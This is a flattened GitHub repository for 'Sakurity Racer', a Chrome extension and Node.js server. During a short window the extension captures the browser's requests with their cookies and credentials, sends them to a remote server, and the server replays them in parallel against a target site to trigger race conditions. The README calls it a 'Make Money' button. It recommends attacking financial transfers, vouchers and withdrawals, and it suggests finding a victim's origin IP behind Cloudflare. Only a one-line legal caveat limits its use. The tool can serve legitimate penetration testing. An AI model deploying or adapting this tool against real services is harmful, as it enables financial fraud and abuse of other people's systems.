├── README.md ├── logo-48.png ├── manifest.json ├── off.png ├── on.png ├── package.json ├── racer.js └── sniffer.js /README.md: -------------------------------------------------------------------------------- 1 | # Sakurity Racer 2 | 3 | ![](https://media.giphy.com/media/xT9IghAnWAtfSlg6re/giphy.gif) 4 | 5 | This 128 LOC extension works pretty much as a "Make Money" button if used properly. 6 | 7 | LEGAL: Use at your own risk and only with your own projects. Do not use it against anyone else. 8 | 9 | 1. Load this unpacked extension into your Chrome. We didn't upload it to the Chrome Store because for best results you need to run your own racer.js server anyway. 10 | 11 | 2. See the circle on the right? It's the sniffer button. Once you click it, for next 3 seconds all requests (except ignored ones like OPTIONS) will be blocked and sent to specified default_server location where racer.js is running. 12 | 13 | 3. Racer.js will get exact same request you were about to make along with all credentials and cookies and will repeat it to the victim in parallel (5 by default). That can trigger a race condition. 14 | 15 | 4. No luck? Do it a few times because most race conditions are hard to reproduce. 16 | 17 | 5. For basic tests you can run racer.js on your localhost and that will be used by default. For real pentest run it on a server as close to the victim as possible and change default_server inside sniffer.js. 18 | 19 | Best functionality to pentest: financial transfers, vouchers, discount codes, trade/withdraw functions and other actions that you're supposed to do limited amount of times. It doesn't cover all scenarios such as timed race conditions or when you need to run few different requests to achieve the result. 20 | 21 | But 99% of race attacks are just like that: click on the sniffer, perform an action on a website, PROFIT. You may end up with unlimited coffee for life https://sakurity.com/blog/2015/05/21/starbucks.html 22 | 23 | You will be surprised how many developers don't know about locking and transactions. Be nice and tell them to use `SELECT FOR UPDATE`. Or `$redis.lock` if they are crazy enough to run a financial app on NoSQL. 24 | 25 | Found a bug using this tool? Please add a link or GIF below! 26 | 27 | 1. Twitter likes https://twitter.com/homakov/status/910553628259348480 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /logo-48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sakurity/racer/fdab62af4aeb83899be8a83f3831fb869462a905/logo-48.png -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "Sakurity Racer", 4 | "version": "1.0", 5 | "short_name": "One-click utility to test race conditions.", 6 | "description": "Just click the sniffer button and do some action that you are supposed to be allowed to do only once (financial transactions are the best). For next 3 seconds all requests will be blocked in your browser and sent to a server running racer.js. Racer.js will repeat the request in parallel to trigger potential race conditions. We recommend to have servers as close to the victim as possible. There are no Settings page so if you want to tweak anything in runtime click - Inspect views: background page. ", 7 | "author": "Sakurity Limited", 8 | "homepage_url": "https://github.com/sakurity/racer", 9 | "permissions": [ 10 | "webRequest", 11 | "webRequestBlocking", 12 | "http://*/*", 13 | "https://*/*", 14 | "storage" 15 | ], 16 | "icons": { "48": "logo-48.png"}, 17 | "background": { 18 | "persistent": true, 19 | "scripts": ["sniffer.js"] 20 | }, 21 | "browser_action": { 22 | "default_icon": "off.png" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /off.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sakurity/racer/fdab62af4aeb83899be8a83f3831fb869462a905/off.png -------------------------------------------------------------------------------- /on.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sakurity/racer/fdab62af4aeb83899be8a83f3831fb869462a905/on.png -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "racer", 3 | "version": "0.0.0", 4 | "description": "One-click utility to test race conditions", 5 | "main": "racer.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/sakurity/racer.git" 12 | }, 13 | "author": "Sakurity", 14 | "license": "ISC", 15 | "bugs": { 16 | "url": "https://github.com/sakurity/racer/issues" 17 | }, 18 | "homepage": "https://github.com/sakurity/racer#readme", 19 | "dependencies": { 20 | "request": "^2.82.0" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /racer.js: -------------------------------------------------------------------------------- 1 | const request = require('request'); 2 | const http = require('http') 3 | const handler = (req, res) => { 4 | if(req.url == "/racer"){ 5 | var body = []; 6 | req.on('data', function(chunk) { 7 | body.push(chunk); 8 | }).on('end', function() { 9 | body = Buffer.concat(body).toString(); 10 | opts = (JSON.parse(body)) 11 | console.log('opts',opts) 12 | opts.gzip = true 13 | opts.followRedirect = false 14 | if(!opts.parallel) opts.parallel = 5 // default parallelization 15 | for(var i=0;i {console.log('Error', err)}) 36 | server.listen(8099, '127.0.0.1', function(err){process.stdout.write("Running at 8099");}); -------------------------------------------------------------------------------- /sniffer.js: -------------------------------------------------------------------------------- 1 | // some of analytics endpoints use POST and we want to ignore them 2 | // please add to the list on Github to help others 3 | var ignore_list = ` 4 | 5 | https://api.github.com/_private/browser/errors 6 | `.split("\n") 7 | 8 | // Run racer.js on a server that's close or in the same datacenter as the victim. 9 | // It's worth figuring out the original IP if the victim is behind cloudflare or something like that 10 | var default_server = "https://your.server:8099/racer" 11 | 12 | // Is racer.js running locally? 13 | fetch("http://127.0.0.1:8099").then(function(r){ 14 | if(r.status == 200){ 15 | default_server = "http://127.0.0.1:8099/racer" 16 | } 17 | }) 18 | 19 | var default_parallel = 5; 20 | var default_timeout = 3000; 21 | var requests = {} 22 | var patterns = ["http://*/*","https://*/*"] 23 | var on = false; 24 | 25 | function ignore(details){ 26 | // GET could be included too 27 | // but there are a lot of state-changing GET requests around 28 | methods = ['OPTIONS'] 29 | if(details.url == default_server || methods.indexOf(details.method) != -1){ 30 | return true 31 | } else { 32 | return false 33 | } 34 | } 35 | 36 | function Request(details) { 37 | if(ignore_list.indexOf(details.url) != -1) return {cancel: true}; 38 | if(ignore(details)) return {cancel: false}; 39 | 40 | requests[details.requestId] = { 41 | url: details.url, 42 | method: details.method, 43 | parallel: default_parallel 44 | } 45 | 46 | if(details.requestBody){ 47 | if(details.requestBody.formData){ 48 | form = details.requestBody.formData 49 | body = '' 50 | for(var i in form){ 51 | body+=encodeURIComponent(i)+'='+encodeURIComponent(form[i][0])+'&' 52 | } 53 | } 54 | if(details.requestBody.raw){ 55 | body = new TextDecoder('utf-8').decode(details.requestBody.raw[0].bytes) 56 | } 57 | requests[details.requestId].body = body 58 | } 59 | 60 | return {cancel: false} 61 | } 62 | 63 | 64 | function SendHeaders(details) { 65 | if(ignore(details)) return {cancel: false}; 66 | 67 | var headers = {} 68 | 69 | for (var i = 0; i < details.requestHeaders.length; ++i) { 70 | headers[details.requestHeaders[i].name] = details.requestHeaders[i].value 71 | } 72 | requests[details.requestId].headers = headers 73 | 74 | fetch(default_server, {method: 'POST', body: JSON.stringify(requests[details.requestId])}) 75 | 76 | return {cancel: true}; 77 | } 78 | 79 | 80 | chrome.browserAction.onClicked.addListener(function(t){ 81 | chrome.browserAction.setIcon({path:'on.png'}) 82 | 83 | chrome.webRequest.onBeforeSendHeaders.addListener(SendHeaders,{urls: patterns},["blocking", "requestHeaders"]); 84 | chrome.webRequest.onBeforeRequest.addListener(Request, {urls: patterns}, ['blocking','requestBody']); 85 | 86 | setTimeout(function(){ 87 | chrome.webRequest.onBeforeRequest.removeListener(Request) 88 | chrome.webRequest.onBeforeSendHeaders.removeListener(SendHeaders) 89 | chrome.browserAction.setIcon({path:'off.png'}) 90 | }, default_timeout) 91 | }) 92 | --------------------------------------------------------------------------------